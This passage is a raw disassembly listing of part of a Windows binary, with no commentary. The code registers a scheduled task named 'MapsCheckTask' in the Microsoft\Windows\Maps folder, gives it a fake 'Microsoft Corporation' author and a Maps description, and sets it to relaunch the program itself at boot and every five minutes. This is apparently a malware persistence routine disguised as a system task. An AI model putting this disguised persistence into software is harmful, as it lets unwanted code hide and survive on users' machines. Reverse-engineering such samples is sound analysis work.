add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001b14d
test rax, rax
je 0x14001b14b
mov rcx, r14
call fcn.14002a404
mov rbx, rax
jmp 0x14001b14d
lea rcx, [rbx + 1]
call fcn.14002a404
mov rcx, rax
mov qword [rbp + 0x4c0], rcx
mov qword [rbp + 0x4d0], rdi
mov qword [rbp + 0x4d8], rbx
inc rdi
mov rdx, rsi
mov r8, rdi
call fcn.140021ed0
jmp 0x14001a83a
xor ebx, ebx
shl rdi, 5
movaps xmm0, xmmword [rbp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
movups xmmword [rbx + rdi + 0x10], xmm1
movups xmmword [rbx + rdi], xmm0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
cmp rsi, r13
je 0x14001b1c2
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbx + rax + 0x10], xmm0
movups xmmword [rbx + rax], xmm0
movups xmm1, xmmword [rsi + rax]
movups xmm2, xmmword [rsi + rax + 0x10]
movups xmmword [rbx + rax + 0x10], xmm2
movups xmmword [rbx + rax], xmm1
mov qword [rsi + rax + 0x10], 0
mov qword [rsi + rax + 0x18], 0xf
mov byte [rsi + rax], 0
lea rcx, [rsi + rax]
add rcx, 0x20
add rax, 0x20
cmp rcx, r13
jne 0x14001b180
test rsi, rsi
je 0x14001b207
cmp rsi, r13
jne 0x14001b3b5
mov r12, r13
sub r13, r12
cmp r13, 0x1000
jb 0x14001b1fc
mov rax, qword [r12 - 8]
sub r12, rax
add r12, 0xfffffffffffffff8
cmp r12, 0x20
jae 0x14001d41b
add r13, 0x27
mov r12, rax
mov rcx, r12
mov rdx, r13
call fcn.14002a448
mov qword [rbp + 0x490], rbx
shl r15, 5
add r15, rbx
mov qword [rbp + 0x498], r15
add r14, rbx
mov qword [rbp + 0x4a0], r14
mov rax, qword [rbp + 0x38]
cmp rax, 0x10
jb 0x14001b265
mov rcx, qword [rbp + 0x20]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b260
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
mov rax, qword [rbp + 0x158]
cmp rax, 0x10
jb 0x14001b2aa
mov rcx, qword [rbp + 0x140]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b2a5
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
mov rax, qword [rbp + 0x4d8]
cmp rax, 0x10
jb 0x14001b2ef
mov rcx, qword [rbp + 0x4c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b2ea
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
mov qword [rbp + 0x4d0], 0
mov qword [rbp + 0x4d8], 0xf
mov byte [rbp + 0x4c0], 0
mov r14, qword [rbp + 0x490]
mov rdi, r15
sub rdi, r14
sar rdi, 5
cmp rdi, 2
jb 0x14001b3f0
dec rdi
lea rsi, [r14 + 0x20]
lea r13, str.self_starting
lea r12, str.no_print
jmp 0x14001b354
mov byte [0x1400756dc], 1
add rsi, 0x20
dec rdi
je 0x14001b3f0
cmp qword [rsi + 0x18], 0x10
mov rbx, rsi
jb 0x14001b361
mov rbx, qword [rsi]
mov rcx, rbx
mov rdx, r13
call fcn.140038f80
test eax, eax
je 0x14001b340
mov rcx, rbx
mov rdx, r12
call fcn.140038f80
test eax, eax
jne 0x14001b347
mov byte [0x140075610], 1
jmp 0x14001b347
call fcn.14002a448
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
add rsi, 0x20
cmp rsi, r13
je 0x14001b1d3
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x14001b395
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b390
mov rdi, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rdi
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rdi
jmp 0x14001b390
cmp byte [rbp + 0x41c], 0
je 0x14001b402
lea rcx, [0x14006233d]
jmp 0x14001b409
lea rcx, [0x140062329]
call fcn.140008f30
cmp qword [r14 + 0x18], 0x10
mov rcx, r14
jb 0x14001b41b
mov rcx, qword [r14]
call fcn.140015b00
cmp r14, r15
je 0x14001b48c
mov rsi, r14
jmp 0x14001b451
call fcn.14002a448
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
add rsi, 0x20
cmp rsi, r15
je 0x14001b48c
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x14001b435
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b430
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
jmp 0x14001b430
mov rdx, qword [rbp + 0x4a0]
sub rdx, r14
cmp rdx, 0x1000
jb 0x14001b4bb
mov rax, qword [r14 - 8]
sub r14, rax
add r14, 0xfffffffffffffff8
cmp r14, 0x20
jae 0x14001d41b
add rdx, 0x27
mov r14, rax
mov rcx, r14
call fcn.14002a448
mov rax, qword [rbp + 0x508]
cmp rax, 0x10
jb 0x14001b508
mov rcx, qword [rbp + 0x4f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001b503
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
cmp byte [0x1400756dc], 1
jne 0x14001c178
lea rdx, [rbp + 0x140]
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x14001c0d3
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
xor ecx, ecx
mov edx, 0xffffffff
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x14001c0e6
mov qword [rbp + 0x480], 0
lea rax, [rbp + 0x480]
mov qword [rsp + 0x20], rax
lea rcx, [0x140051970]
lea r9, [0x140051950]
xor edx, edx
mov r8d, 1
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14001c0ef
mov rsi, qword [rbp + 0x480]
mov r15, qword [sym.imp.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 0x4f0]
call r15
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x490]
call r15
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x4d0], rax
movups xmm0, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x4c0], xmm0
lea rcx, [rbp + 0x3e0]
call r15
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x3d0], rax
movups xmm0, xmmword [rbp + 0x3e0]
movaps xmmword [rbp + 0x3c0], xmm0
lea rcx, [rbp + 0x400]
call r15
mov rax, qword [rbp + 0x410]
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [rbp + 0x400]
movaps xmmword [rbp - 0x20], xmm0
mov rax, qword [rsi]
mov rax, qword [rax + 0x50]
lea rcx, [rbp + 0x20]
mov qword [rsp + 0x20], rcx
lea rdx, [rbp - 0x20]
lea r8, [rbp + 0x3c0]
lea r9, [rbp + 0x4c0]
mov rcx, rsi
call rax
mov edi, eax
mov rbx, qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x400]
call rbx
lea rsi, [rbp + 0x3e0]
mov rcx, rsi
call rbx
lea rcx, [rbp + 0x490]
call rbx
lea rcx, [rbp + 0x4f0]
call rbx
test edi, edi
js 0x14001c0ff
mov qword [rbp + 0x4e8], 0
mov rdi, qword [rbp + 0x480]
mov ecx, 0x18
call fcn.14002a404
mov rbx, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.MicrosoftWindowsMaps
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x520], rbx
mov qword [rbx], rax
test rax, rax
je 0x14001d4dd
mov rbx, qword [rdi]
lea r8, [rbp + 0x4e8]
mov rcx, rdi
mov rdx, rax
call qword [rbx + 0x38]
mov edi, eax
mov rbx, qword [rbp + 0x520]
lock dec dword [rbx + 0x10]
jne 0x14001b750
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001b73a
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14001b748
call fcn.14002a448
mov rcx, rbx
call fcn.14002a440
test edi, edi
js 0x14001c108
mov rdi, qword [rbp + 0x4e8]
mov ecx, 0x18
call fcn.14002a404
mov qword [rax + 8], 0
mov qword [rbp + 0x520], rax
mov dword [rax + 0x10], 1
lea rcx, str.MapsCheckTask
call fcn.14002a940
mov rcx, qword [rbp + 0x520]
mov qword [rcx], rax
mov rbx, qword [rdi]
mov rcx, rdi
mov rdx, rax
xor r8d, r8d
call qword [rbx + pe_nt_image_headers64]
mov rdi, qword [rbp + 0x520]
lock dec dword [rdi + 0x10]
jne 0x14001b7dc
mov rcx, qword [rdi]
test rcx, rcx
je 0x14001b7c6
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rdi], 0
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14001b7d4
call fcn.14002a448
mov rcx, rdi
call fcn.14002a440
mov qword [rbp + 0x518], 0
mov rcx, qword [rbp + 0x480]
mov rax, qword [rcx]
lea r8, [rbp + 0x518]
xor edx, edx
call qword [rax + 0x48]
mov edi, eax
mov rcx, qword [rbp + 0x480]
mov rax, qword [rcx]
call qword [rax + 0x10]
test edi, edi
js 0x14001c11f
mov qword [rbp + 0x450], 0
mov rcx, qword [rbp + 0x518]
mov rax, qword [rcx]
lea rdx, [rbp + 0x450]
call qword [rax + 0x38]
test eax, eax
js 0x14001c136
mov rdi, qword [rbp + 0x450]
mov ecx, 0x18
call fcn.14002a404
mov qword [rax + 8], 0
mov qword [rbp + 0x520], rax
mov dword [rax + 0x10], 1
lea rcx, str.Microsoft_Corporation
call fcn.14002a940
mov rcx, qword [rbp + 0x520]
mov qword [rcx], rax
mov rbx, qword [rdi]
mov rcx, rdi
mov rdx, rax
call qword [rbx + 0x50]
mov edi, eax
mov rbx, qword [rbp + 0x520]
lock dec dword [rbx + 0x10]
jne 0x14001b8be
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001b8a8
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14001b8b6
call fcn.14002a448
mov rcx, rbx
call fcn.14002a440
test edi, edi
js 0x14001c141
mov rdi, qword [rbp + 0x450]
mov ecx, 0x18
call fcn.14002a404
mov qword [rax + 8], 0
mov qword [rbp + 0x520], rax
mov dword [rax + 0x10], 1
lea rcx, str.This_task_shows_various_Map_related_check
call fcn.14002a940
mov rcx, qword [rbp + 0x520]
mov qword [rcx], rax
mov rbx, qword [rdi]
mov rcx, rdi
mov rdx, rax
call qword [rbx + 0x40]
mov edi, eax
mov rbx, qword [rbp + 0x520]
lock dec dword [rbx + 0x10]
jne 0x14001b949
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001b933
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14001b941
call fcn.14002a448
mov rcx, rbx
call fcn.14002a440
mov rcx, qword [rbp + 0x450]
mov rax, qword [rcx]
call qword [rax + 0x10]
test edi, edi
js 0x14001c14a
mov qword [rbp + 0x458], 0
mov rcx, qword [rbp + 0x518]
mov rax, qword [rcx]
lea rdx, [rbp + 0x458]
call qword [rax + pe_nt_image_headers64]
test eax, eax
js 0x14001d372
mov rcx, qword [rbp + 0x458]
mov rax, qword [rcx]
mov edx, 3
call qword [rax + 0x70]
test eax, eax
js 0x14001d380
mov rcx, qword [rbp + 0x458]
mov rax, qword [rcx]
mov edx, 1
call qword [rax + 0x90]
mov edi, eax
mov rcx, qword [rbp + 0x458]
mov rax, qword [rcx]
call qword [rax + 0x10]
test edi, edi
js 0x14001d38e
mov qword [rbp + 0x460], 0
mov rcx, qword [rbp + 0x518]
mov rax, qword [rcx]
lea rdx, [rbp + 0x460]
call qword [rax + 0x58]
test eax, eax
js 0x14001d39a
mov rcx, qword [rbp + 0x460]
mov rax, qword [rcx]
mov dx, 0xffff
call qword [rax + 0xb0]
mov edi, eax
mov rcx, qword [rbp + 0x460]
mov rax, qword [rcx]
call qword [rax + 0x10]
test edi, edi
js 0x14001d3a8
mov qword [rbp + 0x420], 0
mov rcx, qword [rbp + 0x460]
mov rax, qword [rcx]
lea rdx, [rbp + 0x420]
call qword [rax + 0x138]
test eax, eax
js 0x14001d3b4
mov rdi, qword [rbp + 0x420]
mov ecx, 0x18
call fcn.14002a404
mov rbx, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.PT5M
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x520], rbx
mov qword [rbx], rax
test rax, rax
je 0x14001d4f1
mov rbx, qword [rdi]
mov rcx, rdi
mov rdx, rax
call qword [rbx + 0x50]
mov edi, eax
mov rbx, qword [rbp + 0x520]
lock dec dword [rbx + 0x10]
jne 0x14001bad0
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001baba
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14001bac8
call fcn.14002a448
mov rcx, rbx
call fcn.14002a440
mov rcx, qword [rbp + 0x420]
mov rax, qword [rcx]
call qword [rax + 0x10]
test edi, edi
js 0x14001d3c2
mov qword [rbp + 0x428], 0
mov rcx, qword [rbp + 0x518]
mov rax, qword [rcx]
lea rdx, [rbp + 0x428]
call qword [rax + 0x48]
test eax, eax
js 0x14001d3ce
mov qword [rbp + 0x4f0], 0
mov rcx, qword [rbp + 0x428]
mov rax, qword [rcx]
lea r12, [rbp + 0x4f0]
mov edx, 8
mov r8, r12
call qword [rax + 0x50]
mov ebx, eax
mov rcx, qword [rbp + 0x428]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
js 0x14001d3dc
mov qword [rbp + 0x490], 0
mov rcx, qword [rbp + 0x4f0]
mov rax, qword [rcx]
lea rdx, [0x140051960]
lea r8, [rbp + 0x490]
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x4f0]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
js 0x14001d3ea
mov rbx, qword [rbp + 0x490]
mov ecx, 0x18
call fcn.14002a404
mov rdi, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.Trigger1
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x520], rdi
mov qword [rdi], rax
test rax, rax
je 0x14001d4fb
mov rdi, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [rdi + 0x48]
mov ebx, eax
mov rax, qword [rbp + 0x520]
lock dec dword [rax + 0x10]
jne 0x14001bc28
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001bc07
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x520]
mov qword [rax], 0
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x14001bc1c
call fcn.14002a448
mov rcx, qword [rbp + 0x520]
call fcn.14002a440
test ebx, ebx
jns 0x14001bc3a
lea rcx, str.____pBootTrigger_put_Id_failed:__x_n
mov edx, ebx
call fcn.140008f30
mov rbx, qword [rbp + 0x490]
mov ecx, 0x18
call fcn.14002a404
mov rdi, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.2022_05_21T12:05:00
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x520], rdi
mov qword [rdi], rax
test rax, rax
je 0x14001d505
mov rdi, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [rdi + pe_nt_image_headers64]
mov ebx, eax
mov rax, qword [rbp + 0x520]
lock dec dword [rax + 0x10]
jne 0x14001bcdc
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001bcbb
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x520]
mov qword [rax], 0
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x14001bcd0
call fcn.14002a448
mov rcx, qword [rbp + 0x520]
call fcn.14002a440
test ebx, ebx
jns 0x14001bcee
lea rcx, str.____pBootTrigger_put_StartBoundary_failed:__x_n
mov edx, ebx
call fcn.140008f30
mov rbx, qword [rbp + 0x490]
mov ecx, 0x18
call fcn.14002a404
mov rdi, rax
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.PT2M
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x520], rdi
mov qword [rdi], rax
test rax, rax
je 0x14001d50f
mov rdi, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [rdi + 0xa8]
mov ebx, eax
mov rax, qword [rbp + 0x520]
lock dec dword [rax + 0x10]
jne 0x14001bd93
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001bd72
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x520]
mov qword [rax], 0
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x14001bd87
call fcn.14002a448
mov rcx, qword [rbp + 0x520]
call fcn.14002a440
mov rcx, qword [rbp + 0x490]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
js 0x14001d3f8
mov qword [rbp + 0x430], 0
mov rcx, qword [rbp + 0x518]
mov rax, qword [rcx]
lea rdx, [rbp + 0x430]
call qword [rax + 0x88]
test eax, eax
js 0x14001d40d
mov qword [rbp + 0x438], 0
mov rcx, qword [rbp + 0x430]
mov rax, qword [rcx]
lea r8, [rbp + 0x438]
xor edx, edx
call qword [rax + 0x60]
mov ebx, eax
mov rcx, qword [rbp + 0x430]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
js 0x14001d420
mov qword [rbp + 0x440], 0
mov rcx, qword [rbp + 0x438]
mov rax, qword [rcx]
lea rdx, str.MbLk
lea r8, [rbp + 0x440]
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x438]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
js 0x14001d42e
mov rbx, qword [rbp + 0x440]
mov ecx, 0x18
call fcn.14002a404
mov qword [rax + 8], 0
mov qword [rbp + 0x520], rax
mov dword [rax + 0x10], 1
lea rcx, [rbp + 0x140]
call fcn.14002a940
mov rcx, qword [rbp + 0x520]
mov qword [rcx], rax
mov rdi, qword [rbx]
mov rcx, rbx
mov rdx, rax
call qword [rdi + 0x58]
mov ebx, eax
mov rax, qword [rbp + 0x520]
lock dec dword [rax + 0x10]
jne 0x14001bee2
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001bec1
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x520]
mov qword [rax], 0
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x14001bed6
call fcn.14002a448
mov rcx, qword [rbp + 0x520]
call fcn.14002a440
mov rcx, qword [rbp + 0x440]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
js 0x14001d43c
mov qword [rbp + 0x3f8], 0
mov r14, qword [rbp + 0x4e8]
mov word [rbp + 0x490], 8
lea rcx, [0x140062b3c]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x498], rax
test rax, rax
je 0x14001d519
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x500], rax
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x4f0], rax
mov rax, qword [rbp + 0x498]
mov qword [rbp + 0x4f8], rax
lea rcx, [rbp + 0x400]
call r15
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x3f0], rax
movups xmm0, xmmword [rbp + 0x400]
movaps xmmword [rbp + 0x3e0], xmm0
lea rcx, [rbp + 0x128]
call r15
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rbp + 0x128]
movaps xmmword [rbp], xmm0
mov rbx, qword [rbp + 0x518]
mov ecx, 0x18
call fcn.14002a404
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x520]
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.MapsCheckTask
call fcn.14002a940
mov rcx, qword [rbp + 0x520]
mov qword [rcx], rax
mov rcx, qword [r14]
mov rdi, qword [rcx + 0x88]
lea rcx, [rbp + 0x3f8]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x28], rsi
mov rcx, rbp
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x30], 3
mov rcx, r14
mov rdx, rax
mov r8, rbx
mov r9d, 6
call rdi
mov esi, eax
mov rax, qword [rbp + 0x520]
lock dec dword [rax + 0x10]
jne 0x14001c077
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001c056
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x520]
mov qword [rax], 0
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x14001c06b
call fcn.14002a448
mov rcx, qword [rbp + 0x520]
call fcn.14002a440
lea rcx, [rbp + 0x128]
mov rdi, qword [sym.imp.OLEAUT32.dll_VariantCopy]
call rdi
lea rcx, [rbp + 0x400]
call rdi
lea rcx, [rbp + 0x490]
call rdi
test esi, esi
js 0x14001d454
lea rcx, [0x140062351]
call fcn.140008f30
mov rcx, qword [rbp + 0x4e8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x518]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x3f8]
jmp 0x14001c16c
lea rcx, str.____CoInitializeEx_failed:__x_n
mov edx, eax
call fcn.140008f30
jmp 0x14001c178
lea rcx, str.____CoInitializeSecurity_failed:__x_n
jmp 0x14001c0f6
lea rcx, str.____CoCreateInstance_Failed:__x_n
mov edx, eax
call fcn.140008f30
jmp 0x14001c172
lea rcx, str.____pService_Connect_failed:__x_n
jmp 0x14001c10f
lea rcx, str.____pService_GetFolder_failed:__x_n
mov edx, edi
call fcn.140008f30
mov rcx, qword [rbp + 0x480]
jmp 0x14001c16c
lea rcx, str.____pService_NewTask_failed:__x_n
mov edx, edi
call fcn.140008f30
mov rcx, qword [rbp + 0x4e8]
jmp 0x14001c16c
lea rcx, str.____pTask_get_RegistrationInfo_failed:__x_n
mov edx, eax
jmp 0x14001c153
lea rcx, str.____pRegInfo_put_Author_failed:__x_n
jmp 0x14001c151
lea rcx, str.____pRegInfo_put_Description_failed:__x_n
mov edx, edi
call fcn.140008f30
mov rcx, qword [rbp + 0x4e8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x518]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rsi, [rbp + 0x20]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x500], xmm0
movaps xmmword [rbp + 0x4f0], xmm0
mov rcx, rsi
call fcn.140039000
test rax, rax
js 0x14001d44f
mov rsi, rax
cmp rax, 0xf
ja 0x14001c1e7
mov qword [rbp + 0x500], rsi
mov qword [rbp + 0x508], 0xf
lea rcx, [rbp + 0x4f0]
lea rdx, [rbp + 0x20]
mov r8, rsi
call fcn.140021ed0
mov byte [rbp + rsi + 0x4f0], 0
jmp 0x14001c25a
mov qword [rbp + 0x508], 0xf
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x14001c226
lea rcx, [rbx + 0x28]
call fcn.14002a404
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14001c232
lea rcx, [rbx + 1]
call fcn.14002a404
mov rdi, rax
mov qword [rbp + 0x4f0], rdi
mov qword [rbp + 0x500], rsi
mov qword [rbp + 0x508], rbx
lea rdx, [rbp + 0x20]
mov rcx, rdi
mov r8, rsi
call fcn.140021ed0
mov byte [rdi + rsi], 0
mov rcx, qword [rbp + 0x4f0]
mov rsi, qword [rbp + 0x500]
mov rax, qword [rbp + 0x508]
cmp rax, 0x10
lea r13, [rbp + 0x4f0]
mov rdx, r13
cmovae rdx, rcx
mov r15, 0xffffffffffffffff
test rsi, rsi
je 0x14001c32f
xorps xmm0, xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
movaps xmmword [rbp + 0x150], xmm0
movaps xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x19c], 1
mov byte [rbp + 0x16f], 1
movzx edi, byte [rdx + rsi - 1]
cmp byte [rbp + rdi + 0x140], 0
je 0x14001c720
lea r15, [rdx + rsi]
dec r15
sub r15, rdx
cmp rax, 0x10
jb 0x14001c366
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001c361
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
xorps xmm0, xmm0
movaps xmmword [rbp + 0x150], xmm0
movaps xmmword [rbp + 0x140], xmm0
lea rcx, [rbp + 0x20]
call fcn.140039000
test rax, rax
js 0x14001d44f
mov rdi, rax
cmp rax, 0xf
ja 0x14001c3c1
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], 0xf
lea rcx, [rbp + 0x140]
lea rdx, [rbp + 0x20]
mov r8, rdi
call fcn.140021ed0
mov byte [rbp + rdi + 0x140], 0
jmp 0x14001c429
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x14001c3f5
lea rcx, [rsi + 0x28]
call fcn.14002a404
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001c401
lea rcx, [rsi + 1]
call fcn.14002a404
mov rbx, rax
mov qword [rbp + 0x140], rbx
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rsi
lea rdx, [rbp + 0x20]
mov rcx, rbx
mov r8, rdi
call fcn.140021ed0
mov byte [rbx + rdi], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmmword [rbp + 0x4c0], xmm0
mov rax, qword [rbp + 0x150]
mov rbx, qword [rbp + 0x158]
cmp rax, r15
cmovb r15, rax
cmp rbx, 0x10
jb 0x14001c45e
mov r14, qword [rbp + 0x140]
jmp 0x14001c465
lea r14, [rbp + 0x140]
test r15, r15
js 0x14001d478
cmp r15, 0xf
ja 0x14001c4b0
mov qword [rbp + 0x4d0], r15
mov qword [rbp + 0x4d8], 0xf
lea rcx, [rbp + 0x4c0]
mov rdx, r14
mov r8, r15
call fcn.14002d490
mov byte [rbp + r15 + 0x4c0], 0
cmp rbx, 0x10
jae 0x14001c533
jmp 0x14001c56b
mov qword [rbp + 0x4d8], 0xf
mov rax, r15
or rax, 0xf
cmp rax, 0x17
mov edi, 0x16
cmovae rdi, rax
cmp rdi, 0xfff
jb 0x14001c4f2
lea rcx, [rdi + 0x28]
call fcn.14002a404
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001c4fe
lea rcx, [rdi + 1]
call fcn.14002a404
mov rbx, rax
mov qword [rbp + 0x4c0], rbx
mov qword [rbp + 0x4d0], r15
mov qword [rbp + 0x4d8], rdi
mov rcx, rbx
